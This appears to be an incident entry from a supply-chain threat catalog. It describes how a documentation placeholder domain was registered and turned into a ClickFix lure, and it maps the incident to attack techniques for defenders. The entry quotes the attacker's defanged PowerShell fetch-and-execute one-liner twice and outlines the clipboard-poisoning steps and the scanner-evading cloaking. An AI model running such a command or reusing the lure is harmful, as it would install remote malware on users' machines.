Poisoned Pipeline / Incidents / AS289
Placeholder domain third-party.com turned live ClickFix server
CDN / web assetsAI coding agentsWindows softwareMCP
Manifold Security found that third-party[.]com — a documentation
placeholder embedded in 1,500+ files across 1,700+ repositories
(Chromium developer docs, Sanity and Vercel skills, MCP-server docs) —
is not IANA-reserved like example.com, and someone registered it. Since
at least June 2026 it has served a Windows-gated ClickFix lure: a fake
Cloudflare verification page poisons the clipboard and walks the user
through Win+R / Ctrl+V / Enter into a PowerShell one-liner
(irm elxxvvx[.]xyz/f | iex) with a decoy captcha comment appended.
macOS/Linux user-agents get a benign decoy, so scanners and
reputation feeds see nothing wrong; the IPFire blocklist listed it on
7 July and de-listed it on 17 July for exactly that reason. Nobody's
file changed — the static string silently started resolving to attacker
infrastructure. Manifold reported the domain to Network Solutions
before publishing; the lure was still live at publication. A follow-up
(24 September) found placeholder ads on parking pages such as
your-domain[.]com and yoursite[.]com serving macOS scareware and
counterfeit BBC/ZDF investment-fraud pages, with every static check
clearing them.
Mapped techniques
- T0102 Discover used open-source dependencies
- T0205 Compromise third-party CDN or hosted web asset
- T0121 Compromised legitimate artifact
- T0159 Malicious artifact execution
- T0153 Compromised developer workstation
supply-chain Trusted documentation placeholders resolve to attacker infra
The placeholder sat in skills, MCP-server docs, and repos of
trusted names; the same public-code-search path maps every
installable dependency an agent may follow.
Registering the domain took over a hosted web asset thousands of
files already pointed at — no dependency change on anyone's side.
The familiar placeholder kept its name and its consumers while
what it served changed hands.
post-supply-chain Windows visitors executing the ClickFix lure
The pasted PowerShell one-liner fetches and runs the
second-stage payload in memory (irm elxxvvx[.]xyz/f | iex).
The lure targets Windows developer machines; a domain-joined,
logged-in workstation is the intended landing point.
Framework gaps noted
- ClickFix / clipboard-poisoning social engineering is not a first-class technique; the human-run command is approximated by T0159/T0153.
- A documentation placeholder as a dependency-trust input (resolved at request time) has no dedicated technique beyond T0205.